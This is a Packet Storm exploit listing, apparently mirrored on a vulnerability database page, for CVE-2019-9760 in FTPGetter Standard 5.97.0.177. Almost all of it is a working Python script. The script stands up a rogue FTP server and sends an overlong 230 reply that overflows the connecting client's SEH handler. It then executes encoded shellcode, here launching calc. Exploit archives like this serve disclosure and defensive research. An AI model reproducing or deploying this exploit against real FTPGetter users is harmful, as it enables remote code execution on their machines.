Lucene search

K
packetstormW4fz5uck5PACKETSTORM:152099
HistoryMar 14, 2019 - 12:00 a.m.

FTPGetter Standard 5.97.0.177 Remote Code Execution

2019-03-1400:00:00
w4fz5uck5
packetstormsecurity.com
16

0.113 Low

EPSS

Percentile

94.7%

`# Exploit Title: FTPGetter Standard - v.5.97.0.177 Remote Code Execution  
# Date: 05/03/2019  
# Exploit Author: https://github.com/w4fz5uck5 | @w4fz5uck5  
# Vendor Homepage: https://www.ftpgetter.com  
# Software Link: https://www.ftpgetter.com/ftpgetter_setup.exe  
# Version: v.5.97.0.177  
# Tested on: Windows 7 x64  
# CVE : CVE-2019-9760  
  
  
import socket  
import struct  
import time  
import sys  
  
# badchars = (  
# "\x59\x5a\x5b\x5c\x00\x0a\x0d\x20\x40\x1a\x80\x82\x83\x84\x85\x86\x87"  
# "\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b"  
# "\x9c\x9e\x9f\xc0\xc1" .....  
# )  
  
# x86/alpha_mixed simple fixer -> bytes "\x89\xe3\xd9\xe1\xd9\x73\xf4"  
calc = ""   
calc += "\x54" # push esp  
calc += "\x58" # pop eax  
calc += "\x05\x43\x06\x00\x00" # add eax,0x643  
calc += "\x50" # push eax  
calc += "\x5f" # pop edi  
calc += "\x25\x4A\x4D\x4E\x55" # zerout EAX  
calc += "\x25\x35\x32\x31\x2A" # zerout EAX  
calc += "\x04\xab" # ADD AL,0xab  
calc += "\x31\x07" # XOR DWORD PTR DS:[EDI],EAX  
calc += "\x31\x47\x01" # XOR DWORD PTR DS:[EDI+1],EAX  
calc += "\x31\x47\x02" # XOR DWORD PTR DS:[EDI+2],EAX  
calc += "\x2C\x5B" # SUB AL,0x5b -> EAX = 0x50  
calc += "\x31\x47\x03" # XOR DWORD PTR DS:[EDI+3],EAX  
calc += "\x31\x47\x04" # XOR DWORD PTR DS:[EDI+4],EAX  
calc += "\x90\x90\x90\x90" # padding  
  
# "\x89\xe3"  
calc += "\x54" # push esp  
calc += "\x5b" # pop ebx  
  
# "\xd9\xe1\xd9" xored: 0xab  
calc += "\x72\x4a\x72"  
  
# \x73\xf4 xored: 0x50  
calc += "\x23\xa4"   
  
calc += "\x58\x50\x59\x49\x49\x49"  
calc += "\x49\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33"  
calc += "\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41"  
calc += "\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41"  
calc += "\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a"  
calc += "\x4a\x49\x58\x59\x48\x4b\x4f\x4e\x48\x39\x47\x53\x45"  
calc += "\x37\x56\x51\x38\x59\x32\x54\x51\x34\x5a\x54\x51\x4a"  
calc += "\x51\x39\x4f\x39\x58\x31\x45\x43\x56\x51\x53\x42\x35"  
calc += "\x49\x4b\x33\x48\x42\x55\x54\x45\x53\x43\x42\x45\x45"  
calc += "\x31\x4b\x58\x56\x50\x56\x4d\x33\x39\x59\x32\x51\x4a"  
calc += "\x5a\x32\x42\x4b\x31\x4d\x32\x43\x45\x4b\x32\x44\x4b"  
calc += "\x4e\x53\x4d\x31\x49\x50\x38\x59\x34\x4b\x55\x31\x49"  
calc += "\x30\x54\x51\x5a\x47\x55\x53\x57\x31\x4d\x54\x53\x4c"  
calc += "\x59\x4b\x49\x42\x49\x38\x4d\x4a\x5a\x37\x4f\x4a\x33"  
calc += "\x58\x34\x50\x4b\x4b\x51\x4b\x5a\x48\x4e\x4d\x42\x50"  
calc += "\x53\x4b\x46\x48\x4e\x53\x4b\x36\x35\x58\x42\x44\x4e"  
calc += "\x4c\x30\x52\x54\x4e\x4c\x4d\x59\x4d\x46\x4d\x37\x4c"  
calc += "\x37\x4c\x4f\x50\x4b\x4c\x4f\x4c\x4c\x42\x57\x53\x49"  
calc += "\x38\x58\x57\x4d\x44\x32\x4e\x57\x53\x38\x59\x5a\x43"  
calc += "\x33\x35\x49\x44\x43\x35\x4c\x32\x45\x4b\x5a\x49\x35"  
calc += "\x59\x51\x4a\x35\x4c\x50\x39\x4f\x4d\x41\x41"  
  
# Encode addresses and create jmp esp  
# Calculate jmp esp offset and put it on stack  
jump_back = "\x55" # push ebp  
jump_back += "\x58" # pop eax  
jump_back += "\x05\x2b\x08\x00\x00" # add eax,2091  
jump_back += "\x50" # push eax  
  
# zerout EAX  
jump_back += "\x25\x4A\x4D\x4E\x55" # and eax, 0x554e4d4a  
jump_back += "\x25\x35\x32\x31\x2A" # and eax, 0x2a313235  
  
jump_back += "\x3E\x33\x04\x24" # XOR EAX,DWORD PTR DS:[ESP] -> send stack addr to EAX  
jump_back += "\x50" # push eax  
jump_back += "\x5f" # pop edi  
  
# zerout EAX  
jump_back += "\x25\x4A\x4D\x4E\x55" # and eax, 0x554e4d4a  
jump_back += "\x25\x35\x32\x31\x2A" # and eax, 0x2a313235  
  
jump_back += "\x04\x81" # ADD AL,0x81  
jump_back += "\x31\x07" # XOR DWORD PTR DS:[EDI],EAX  
jump_back += "\x31\x47\x01" # XOR DWORD PTR DS:[EDI+1],EAX  
jump_back += "\x90\x90\x90\x90" # padding  
  
# Tool utilized: https://github.com/ihack4falafel/Slink  
# All rights reserved to ihack4falafel  
#  
# \x54\x58\x66\x05\x04\x06\x50\xc3  
jump_back += "\x25\x4A\x4D\x4E\x55" # and eax, 0x554e4d4a  
jump_back += "\x25\x35\x32\x31\x2A" # and eax, 0x2a313235  
jump_back += "\x05\x02\x03\x30\x62" # add eax, 0x62300302  
jump_back += "\x05\x02\x03\x20\x61" # add eax, 0x61200302  
jump_back += "\x50" # push eax  
jump_back += "\x25\x4A\x4D\x4E\x55" # and eax, 0x554e4d4a  
jump_back += "\x25\x35\x32\x31\x2A" # and eax, 0x2a313235  
jump_back += "\x05\x32\x34\x33\x03" # add eax, 0x03333432  
jump_back += "\x05\x22\x24\x33\x02" # add eax, 0x02332422  
jump_back += "\x50" # push eax  
  
# jump to second shellcode  
jump_back += "\x7e\x65" # jmp esp xored: 0x81  
  
# Overflow size 493  
payload = "\x90" * 29  
payload += calc # shellcode  
payload += "\x90" * (493 - len(payload)) # padding  
payload += "\x7e\x06\x90\x90" # NSEH  
payload += "\x31\x20\x77\x00" # SEH -> POP ESI # POP EBX # RETN  
payload += "\x90\x90\x90\x90"  
payload += jump_back # jump to our calc  
payload += "\x90" * 700 # Final padding  
  
try:  
host, port = "0.0.0.0", 21  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.bind((host, int(port)))  
s.listen(5)  
print "[*] Listening server at port: {}".format(port)  
print "[*] Waiting for the client!.."  
  
except Exception as e:  
print "[-] Failed attempt to create bind socket!"  
sys.exit(0)  
  
try:  
conn, client = s.accept()  
conn.send("220 Welcome to server !\r\n")  
conn.recv(1024)  
  
print "[+] User started communication with server!"  
conn.send("331 anonymous OK!\r\n")  
conn.recv(1024)  
print "[+] Received anonymous user from the client!"  
  
print "[*] CALC shellcode Length: " + str(len(calc))  
print "[*] Jump Back shellcode Length: " + str(len(jump_back))  
print "[*] Payload final size: " + str(len(payload))  
print "[!] Attempting to send payload!..."  
conn.send("230 " + payload + "\r\n")  
  
time.sleep(1)  
print "[+] You should have your poped calc!"  
  
conn.close()  
s.close()  
except:  
print "[-] Failed attempt to send payload!"  
sys.exit(0)  
`

0.113 Low

EPSS

Percentile

94.7%

Related for PACKETSTORM:152099